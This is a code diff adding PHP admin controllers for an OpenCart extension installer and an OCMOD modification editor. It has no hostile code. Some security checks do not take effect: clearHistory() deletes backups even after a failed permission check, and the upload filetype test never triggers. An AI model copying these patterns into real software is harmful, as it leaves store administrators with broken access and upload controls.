+ foreach ($directories as $directory) {
+ if (is_dir($directory) && (filectime($directory) < (time() - 5))) {
+ // Get a list of files ready to upload
+ $files = array();
+
+ $path = array($directory);
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ // We have to use scandir function because glob will not pick up dot files.
+ foreach (array_diff(scandir($next), array('.', '..')) as $file) {
+ $file = $next . '/' . $file;
+
+ if (is_dir($file)) {
+ $path[] = $file;
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ rsort($files);
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+
+ rmdir($directory);
+ }
+
+ if (is_dir($directory)) {
+ $json['error'] = $this->language->get('error_install');
+
+ break;
+ }
+ }
+
+ if (isset($this->request->files['file']['name'])) {
+ if (substr($this->request->files['file']['name'], -10) != '.ocmod.zip') {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+
+ if (!$json) {
+ $this->session->data['install'] = token(10);
+
+ $file = DIR_UPLOAD . $this->session->data['install'] . '.tmp';
+
+ move_uploaded_file($this->request->files['file']['tmp_name'], $file);
+
+ if (is_file($file)) {
+ $this->load->model('setting/extension');
+
+ $extension_install_id = $this->model_setting_extension->addExtensionInstall($this->request->files['file']['name']);
+
+ $json['text'] = $this->language->get('text_install');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/install', 'user_token=' . $this->session->data['user_token'] . '&extension_install_id=' . $extension_install_id, true));
+ } else {
+ $json['error'] = $this->language->get('error_file');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/modification.php b/public/admin/controller/marketplace/modification.php
new file mode 100644
index 0000000..ac28ec6
--- /dev/null
+++ b/public/admin/controller/marketplace/modification.php
@@ -0,0 +1,1424 @@
+load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ $this->getList();
+ }
+ public function edit() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+
+ if(isset($this->request->get['modification_id'])){
+
+
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ if ($modification) {
+ $this->model_setting_modification->addModificationBackup($this->request->get['modification_id'], $modification);
+ }
+ }
+ $dom = new DOMDocument('1.0', 'UTF-8');;
+ $dom->formatOutput = true;
+ $dom->preserveWhiteSpace = false;
+ $modification = array();
+ $modification = $dom->createElement('modification');
+ if($this->request->post['name']){
+ $modification->appendChild($dom->createElement('name', $this->request->post['name']));
+ }
+ if($this->request->post['code']){
+ $modification->appendChild($dom->createElement('code', $this->request->post['code']));
+ }
+ if($this->request->post['version']){
+ $modification->appendChild($dom->createElement('version', $this->request->post['version']));
+ }
+ if($this->request->post['author']){
+ $modification->appendChild($dom->createElement('author', $this->request->post['author']));
+ }
+ if($this->request->post['link']){
+ $modification->appendChild($dom->createElement('link', $this->request->post['link']));
+ }
+ $newxml = array();
+ foreach($this->request->post['newxml']['files'] as $file){
+ if(is_array($file['operations']) AND count($file['operations']) > 0){
+ if(!is_array($newxml[$file['filename']])){
+ $newxml[trim($file['filename'])] = array();
+ }
+ }
+ foreach($file['operations'] as $operation){
+ array_push($newxml[$file['filename']], $operation);
+ }
+ }
+ foreach($newxml as $filename=>$operations){
+ $file = $dom->createElement('file');
+ $filepath = $dom->createAttribute('path');
+ $filepath->value = $filename;
+ $file->appendChild($filepath);
+ foreach($operations as $operation){
+ if($operation['search']){
+ $xmloperation = $dom->createElement('operation');
+ $error = $dom->createAttribute('error');
+ $error->value = $operation['error'];
+ $xmloperation->appendChild($error);
+ if($operation['info']){
+ $info = $dom->createAttribute('info');
+ $info->value = $operation['info'];
+ $xmloperation->appendChild($info);
+ }
+ $search = $dom->createElement('search');
+ $search->appendChild($dom->createCDATASection($operation['search']));
+ if(isset($operation['regex']) AND $operation['regex'] == "1"){
+ $regex = $dom->createAttribute('regex');
+ $regex->value = $operation['regex'];
+ $search->appendChild($regex);
+ }
+ if(isset($operation['index']) AND $operation['index'] != ""){
+ $index = $dom->createAttribute('index');
+ $index->value = (int)$operation['index'];
+ $search->appendChild($index);
+ }
+ if(isset($operation['limit']) AND $operation['limit'] != ""){
+ $limit = $dom->createAttribute('limit');
+ $limit->value = (int)$operation['limit'];
+ $search->appendChild($limit);
+ }
+ $xmloperation->appendChild($search);
+ $add = $dom->createElement('add');
+ $add->appendChild($dom->createCDATASection($operation['replace']));
+ $position = $dom->createAttribute('position');
+ $position->value = $operation['action'];
+
+ if(isset($operation['trim']) AND $operation['trim'] == "1"){
+ $trim = $dom->createAttribute('trim');
+ $trim->value = 'true';
+ $add->appendChild($trim);
+ }
+ if(isset($operation['offset']) AND $operation['offset'] != ""){
+ $offset = $dom->createAttribute('offset');
+ $offset->value = (int)$operation['offset'];
+ $add->appendChild($offset);
+ }
+ $add->appendChild($position);
+ $xmloperation->appendChild($add);
+ $file->appendChild($xmloperation);
+ }
+ }
+ $modification->appendChild($file);
+ }
+ $dom->appendChild($modification);
+
+
+ $xml = $dom->saveXML();
+
+ unset($this->request->post['newxml']);
+ $this->request->post['xml'] = $xml;
+
+
+ if(isset($this->request->get['modification_id'])){
+ $this->model_setting_modification->editModification($this->request->get['modification_id'], $this->request->post);
+ } else {
+
+ $this->load->model('setting/extension');
+
+ $extension_install_id = $this->model_setting_extension->addExtensionInstall($this->request->post['code'] . ".ocmod.zip");
+ $this->request->post['extension_install_id'] = $extension_install_id;
+ $this->request->get['modification_id'] = $this->model_setting_modification->addModification($this->request->post);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+
+
+ if (!isset($this->request->get['update'])) {
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ } else {
+ $this->refresh();
+ $this->response->redirect($this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true));
+ }
+ }
+
+ $this->getForm();
+ }
+
+
+
+ public function restore() {
+ $this->load->language('marketplace/extension');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (isset($this->request->get['modification_id']) AND isset($this->request->get['backup_id'])) {
+
+ $backup = $this->model_setting_modification->getModificationBackup($this->request->get['modification_id'],$this->request->get['backup_id']);
+
+ $url = '';
+
+ if ($backup) {
+ $this->model_setting_modification->setModificationRestore($this->request->get['modification_id'], $backup['xml']);
+ $this->refresh();
+ $this->response->redirect($this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true));
+ } else {
+ $this->response->redirect($this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true));
+ }
+ }
+
+ $this->getForm();
+ }
+
+ public function clearHistory() {
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/modification');
+ $this->model_setting_modification->deleteModificationBackups($this->request->get['modification_id']);
+
+ $this->response->redirect($this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'], true));
+ }
+
+ public function download() {
+ $this->load->model('setting/modification');
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ if ($modification) {
+ $xml = $modification['xml'];
+ } else {
+ $xml = '';
+ }
+
+ $this->response->addHeader('Content-Type: application/xml');
+ $this->response->setOutput($xml);
+ }
+
+ public function upload() {
+ $this->load->language('marketplace/installer');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/modification');
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ if (!$json) {
+ if (!empty($this->request->files['file']['name'])) {
+ if (!$this->request->files['file']['name'] == $modification['code'].".ocmod.xml") {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+ }
+
+ if (!$json) {
+ // If no temp directory exists create it
+ $path = 'temp-' . token(32);
+
+ if (!is_dir(DIR_UPLOAD . $path)) {
+ mkdir(DIR_UPLOAD . $path, 0777);
+ }
+
+ // Set the steps required for installation
+ $json['step'] = array();
+ $json['overwrite'] = array();
+
+ if (strrchr($this->request->files['file']['name'], '.') == '.xml') {
+ $file = DIR_UPLOAD . $path . '/install.xml';
+
+ // If xml file copy it to the temporary directory
+ move_uploaded_file($this->request->files['file']['tmp_name'], $file);
+
+ if (file_exists($file)) {
+ $json['step'][] = array(
+ 'text' => $this->language->get('text_xml'),
+ 'url' => str_replace('&', '&', $this->url->link('marketplace/modification/xml', 'user_token=' . $this->session->data['user_token']."&modification_id=".$modification['modification_id'], true)),
+ 'path' => $path
+ );
+
+ // Clear temporary files
+ $json['step'][] = array(
+ 'text' => $this->language->get('text_remove'),
+ 'url' => str_replace('&', '&', $this->url->link('marketplace/modification/remove', 'user_token=' . $this->session->data['user_token']."&modification_id=".$modification['modification_id'], true)),
+ 'path' => $path
+ );
+ } else {
+ $json['error'] = $this->language->get('error_file');
+ }
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function xml() {
+ $this->load->language('marketplace/installer');
+
+ $this->load->model('setting/modification');
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ $file = DIR_UPLOAD . $this->request->post['path'] . '/install.xml';
+
+ if (!is_file($file) || substr(str_replace('\\', '/', realpath($file)), 0, strlen(DIR_UPLOAD)) != DIR_UPLOAD) {
+ $json['error'] = $this->language->get('error_file');
+ }
+
+ if (!$json) {
+ $this->load->model('setting/modification');
+
+ // If xml file just put it straight into the DB
+ $xml = file_get_contents($file);
+
+ if ($xml) {
+ try {
+ $dom = new DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($xml);
+
+ $name = $dom->getElementsByTagName('name')->item(0);
+
+ if ($name) {
+ $name = $name->nodeValue;
+ } else {
+ $name = '';
+ }
+
+ $code = $dom->getElementsByTagName('code')->item(0);
+
+ if (!$code) {
+ $json['error'] = $this->language->get('error_code');
+ }
+
+ $author = $dom->getElementsByTagName('author')->item(0);
+
+ if ($author) {
+ $author = $author->nodeValue;
+ } else {
+ $author = '';
+ }
+
+ $version = $dom->getElementsByTagName('version')->item(0);
+
+ if ($version) {
+ $version = $version->nodeValue;
+ } else {
+ $version = '';
+ }
+
+ $link = $dom->getElementsByTagName('link')->item(0);
+
+ if ($link) {
+ $link = $link->nodeValue;
+ } else {
+ $link = '';
+ }
+
+ $modification_data = array(
+ 'name' => $name,
+ 'code' => $code,
+ 'author' => $author,
+ 'version' => $version,
+ 'link' => $link,
+ 'xml' => $xml,
+ 'status' => 1
+ );
+
+ if (!$json) {
+ $this->model_setting_modification->editModification($modification['modification_id'], $modification_data);
+ }
+ } catch(Exception $exception) {
+ $json['error'] = sprintf($this->language->get('error_exception'), $exception->getCode(), $exception->getMessage(), $exception->getFile(), $exception->getLine());
+ }
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function remove() {
+ $this->load->language('marketplace/modification');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ $directory = DIR_UPLOAD . $this->request->post['path'];
+
+ if (!is_dir($directory) || substr(str_replace('\\', '/', realpath($directory)), 0, strlen(DIR_UPLOAD)) != DIR_UPLOAD) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ // Get a list of files ready to upload
+ $files = array();
+
+ $path = array($directory);
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ // We have to use scandir function because glob will not pick up dot files.
+ foreach (array_diff(scandir($next), array('.', '..')) as $file) {
+ $file = $next . '/' . $file;
+
+ if (is_dir($file)) {
+ $path[] = $file;
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ rsort($files);
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+
+ if (file_exists($directory)) {
+ rmdir($directory);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+
+ public function delete() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (isset($this->request->post['selected']) && $this->validate()) {
+ foreach ($this->request->post['selected'] as $modification_id) {
+ $this->model_setting_modification->deleteModification($modification_id);
+ $this->model_setting_modification->deleteModificationBackups($modification_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function refresh($data = array()) {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+ $this->load->model('design/theme');
+
+ if ($this->validate()) {
+ // Clear log before refresh modifications
+ $handle = fopen(DIR_LOGS . 'ocmod.log', 'w+');
+ fclose($handle);
+
+ // Just before files are deleted, if config settings say maintenance mode is off then turn it on
+ $maintenance = $this->config->get('config_maintenance');
+
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSettingValue('config', 'config_maintenance', true);
+
+ //Log
+ $log = array();
+
+ // Clear all modification files
+ $files = array();
+
+ // Make path into an array
+ $path = array(DIR_MODIFICATION . '*');
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Reverse sort the file array
+ rsort($files);
+
+ // Clear all modification files
+ foreach ($files as $file) {
+ if ($file != DIR_MODIFICATION . 'index.html') {
+ // If file just delete
+ if (is_file($file)) {
+ unlink($file);
+
+ // If directory use the remove directory function
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+ }
+
+ // Begin
+ $xml = array();
+
+ // Load the default modification XML
+ $xml[] = file_get_contents(DIR_SYSTEM . 'modification.xml');
+
+ // This is purly for developers so they can run mods directly and have them run without upload after each change.
+ $files = glob(DIR_SYSTEM . '*.ocmod.xml');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $xml[] = file_get_contents($file);
+ }
+ }
+
+ // Get the default modification file
+ $results = $this->model_setting_modification->getModifications();
+
+ foreach ($results as $result) {
+ if ($result['status']) {
+ $xml[] = $result['xml'];
+ }
+ }
+
+ $modification = array();
+
+ foreach ($xml as $xml) {
+ if (empty($xml)){
+ continue;
+ }
+
+ $dom = new DOMDocument('1.0', 'UTF-8');
+ $dom->preserveWhiteSpace = false;
+ $dom->loadXml($xml);
+
+ // Log
+ $log[] = 'MOD: ' . $dom->getElementsByTagName('name')->item(0)->textContent;
+
+ // Wipe the past modification store in the backup array
+ $recovery = array();
+
+ // Set the a recovery of the modification code in case we need to use it if an abort attribute is used.
+ if (isset($modification)) {
+ $recovery = $modification;
+ }
+
+ if ($this->config->get('config_theme') == 'default') {
+ $theme = $this->config->get('theme_default_directory');
+ } else {
+ $theme = $this->config->get('config_theme');
+ }
+
+ $store_id = (int)$this->config->get('config_store_id');
+
+ $files = $dom->getElementsByTagName('modification')->item(0)->getElementsByTagName('file');
+
+ foreach ($files as $file) {
+ $operations = $file->getElementsByTagName('operation');
+
+ $files = explode('|', str_replace("\\", '/', $file->getAttribute('path')));
+
+ foreach ($files as $file) {
+ $path = '';
+
+ // Get the full path of the files that are going to be used for modification
+ if ((substr($file, 0, 7) == 'catalog')) {
+ $path = DIR_CATALOG . substr($file, 8);
+ }
+
+ if ((substr($file, 0, 5) == 'admin')) {
+ $path = DIR_APPLICATION . substr($file, 6);
+ }
+
+ if ((substr($file, 0, 6) == 'system')) {
+ $path = DIR_SYSTEM . substr($file, 7);
+ }
+
+ if ($path) {
+ $files = glob($path, GLOB_BRACE);
+
+ if ($files) {
+ foreach ($files as $file) {
+ // Get the key to be used for the modification cache filename.
+ if (substr($file, 0, strlen(DIR_CATALOG)) == DIR_CATALOG) {
+ $key = 'catalog/' . substr($file, strlen(DIR_CATALOG));
+ }
+
+ if (substr($file, 0, strlen(DIR_APPLICATION)) == DIR_APPLICATION) {
+ $key = 'admin/' . substr($file, strlen(DIR_APPLICATION));
+ }
+
+ if (substr($file, 0, strlen(DIR_SYSTEM)) == DIR_SYSTEM) {
+ $key = 'system/' . substr($file, strlen(DIR_SYSTEM));
+ }
+
+ // If file contents is not already in the modification array we need to load it.
+ if (!isset($modification[$key])) {
+
+ $route = substr(mb_strstr($key, 'template'), 9, -5);
+
+ $theme_info = $this->model_design_theme->getTheme($store_id, $theme, $route);
+
+ if ($theme_info) {
+ $content = html_entity_decode($theme_info['code'], ENT_QUOTES, 'UTF-8');
+ } else {
+ $content = file_get_contents($file);
+ }
+
+ $modification[$key] = preg_replace('~\r?\n~', "\n", $content);
+ $original[$key] = preg_replace('~\r?\n~', "\n", $content);
+
+ // Log
+ $log[] = PHP_EOL . 'FILE: ' . $key;
+ }
+
+ foreach ($operations as $operation) {
+ $error = $operation->getAttribute('error');
+
+ // Ignoreif
+ $ignoreif = $operation->getElementsByTagName('ignoreif')->item(0);
+
+ if ($ignoreif) {
+ if ($ignoreif->getAttribute('regex') != 'true') {
+ if (strpos($modification[$key], $ignoreif->textContent) !== false) {
+ continue;
+ }
+ } else {
+ if (preg_match($ignoreif->textContent, $modification[$key])) {
+ continue;
+ }
+ }
+ }
+
+ $status = false;
+
+ // Search and replace
+ if ($operation->getElementsByTagName('search')->item(0)->getAttribute('regex') != 'true') {
+ // Search
+ $search = $operation->getElementsByTagName('search')->item(0)->textContent;
+ $trim = $operation->getElementsByTagName('search')->item(0)->getAttribute('trim');
+ $index = $operation->getElementsByTagName('search')->item(0)->getAttribute('index');
+
+ // Trim line if no trim attribute is set or is set to true.
+ if (!$trim || $trim == 'true') {
+ $search = trim($search);
+ }
+
+ // Add
+ $add = $operation->getElementsByTagName('add')->item(0)->textContent;
+ $trim = $operation->getElementsByTagName('add')->item(0)->getAttribute('trim');
+ $position = $operation->getElementsByTagName('add')->item(0)->getAttribute('position');
+ $offset = $operation->getElementsByTagName('add')->item(0)->getAttribute('offset');
+
+ if ($offset == '') {
+ $offset = 0;
+ }
+
+ // Trim line if is set to true.
+ if ($trim == 'true') {
+ $add = trim($add);
+ }
+
+ // Log
+ $log[] = 'CODE: ' . $search;
+
+ // Check if using indexes
+ if ($index !== '') {
+ $indexes = explode(',', $index);
+ } else {
+ $indexes = array();
+ }
+
+ // Get all the matches
+ $i = 0;
+
+ $lines = explode("\n", $modification[$key]);
+
+ for ($line_id = 0; $line_id < count($lines); $line_id++) {
+ $line = $lines[$line_id];
+
+ // Status
+ $match = false;
+
+ // Check to see if the line matches the search code.
+ if (stripos($line, $search) !== false) {
+ // If indexes are not used then just set the found status to true.
+ if (!$indexes) {
+ $match = true;
+ } elseif (in_array($i, $indexes)) {
+ $match = true;
+ }
+
+ $i++;
+ }
+
+ // Now for replacing or adding to the matched elements
+ if ($match) {
+ switch ($position) {
+ default:
+ case 'replace':
+ $new_lines = explode("\n", $add);
+
+ if ($offset < 0) {
+ array_splice($lines, $line_id + $offset, abs($offset) + 1, array(str_replace($search, $add, $line)));
+
+ $line_id -= $offset;
+ } else {
+ array_splice($lines, $line_id, $offset + 1, array(str_replace($search, $add, $line)));
+ }
+ break;
+ case 'before':
+ $new_lines = explode("\n", $add);
+
+ array_splice($lines, $line_id - $offset, 0, $new_lines);
+
+ $line_id += count($new_lines);
+ break;
+ case 'after':
+ $new_lines = explode("\n", $add);
+
+ array_splice($lines, ($line_id + 1) + $offset, 0, $new_lines);
+
+ $line_id += count($new_lines);
+ break;
+ }
+
+ // Log
+ $log[] = 'LINE: ' . $line_id;
+
+ $status = true;
+ }
+ }
+
+ $modification[$key] = implode("\n", $lines);
+ } else {
+ $search = trim($operation->getElementsByTagName('search')->item(0)->textContent);
+ $limit = $operation->getElementsByTagName('search')->item(0)->getAttribute('limit');
+ $replace = trim($operation->getElementsByTagName('add')->item(0)->textContent);
+
+ // Limit
+ if (!$limit) {
+ $limit = -1;
+ }
+
+ // Log
+ $match = array();
+
+ preg_match_all($search, $modification[$key], $match, PREG_OFFSET_CAPTURE);
+
+ // Remove part of the the result if a limit is set.
+ if ($limit > 0) {
+ $match[0] = array_slice($match[0], 0, $limit);
+ }
+
+ if ($match[0]) {
+ $log[] = 'REGEX: ' . $search;
+
+ for ($i = 0; $i < count($match[0]); $i++) {
+ $log[] = 'LINE: ' . (substr_count(substr($modification[$key], 0, $match[0][$i][1]), "\n") + 1);
+ }
+
+ $status = true;
+ }
+
+ // Make the modification
+ $modification[$key] = preg_replace($search, $replace, $modification[$key], $limit);
+ }
+
+ if (!$status) {
+ // Abort applying this modification completely.
+ if ($error == 'abort') {
+ $modification = $recovery;
+ // Log
+ $log[] = 'NOT FOUND - ABORTING!';
+ break 5;
+ }
+ // Skip current operation or break
+ elseif ($error == 'skip') {
+ // Log
+ $log[] = 'NOT FOUND - OPERATION SKIPPED!';
+ continue;
+ }
+ // Break current operations
+ else {
+ // Log
+ $log[] = 'NOT FOUND - OPERATIONS ABORTED!';
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ // Log
+ $log[] = '----------------------------------------------------------------';
+ }
+
+ // Log
+ $ocmod = new Log('ocmod.log');
+ $ocmod->write(implode("\n", $log));
+
+ // Write all modification files
+ foreach ($modification as $key => $value) {
+ // Only create a file if there are changes
+ if ($original[$key] != $value) {
+ $path = '';
+
+ $directories = explode('/', dirname($key));
+
+ foreach ($directories as $directory) {
+ $path = $path . '/' . $directory;
+
+ if (!is_dir(DIR_MODIFICATION . $path)) {
+ @mkdir(DIR_MODIFICATION . $path, 0777);
+ }
+ }
+
+ $handle = fopen(DIR_MODIFICATION . $key, 'w');
+
+ fwrite($handle, $value);
+
+ fclose($handle);
+ }
+ }
+
+ // Maintance mode back to original settings
+ $this->model_setting_setting->editSettingValue('config', 'config_maintenance', $maintenance);
+
+ // Do not return success message if refresh() was called with $data
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ //$this->response->redirect($this->url->link(!empty($data['redirect']) ? $data['redirect'] : 'marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function clear() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if ($this->validate()) {
+ $files = array();
+
+ // Make path into an array
+ $path = array(DIR_MODIFICATION . '*');
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Reverse sort the file array
+ rsort($files);
+
+ // Clear all modification files
+ foreach ($files as $file) {
+ if ($file != DIR_MODIFICATION . 'index.html') {
+ // If file just delete
+ if (is_file($file)) {
+ unlink($file);
+
+ // If directory use the remove directory function
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function enable() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (isset($this->request->get['modification_id']) && $this->validate()) {
+ $this->model_setting_modification->enableModification($this->request->get['modification_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (isset($this->request->get['modification_id']) && $this->validate()) {
+ $this->model_setting_modification->disableModification($this->request->get['modification_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function clearlog() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if ($this->validate()) {
+ $handle = fopen(DIR_LOGS . 'ocmod.log', 'w+');
+
+ fclose($handle);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['refresh'] = $this->url->link('marketplace/modification/refresh', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['clear'] = $this->url->link('marketplace/modification/clear', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('marketplace/modification/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
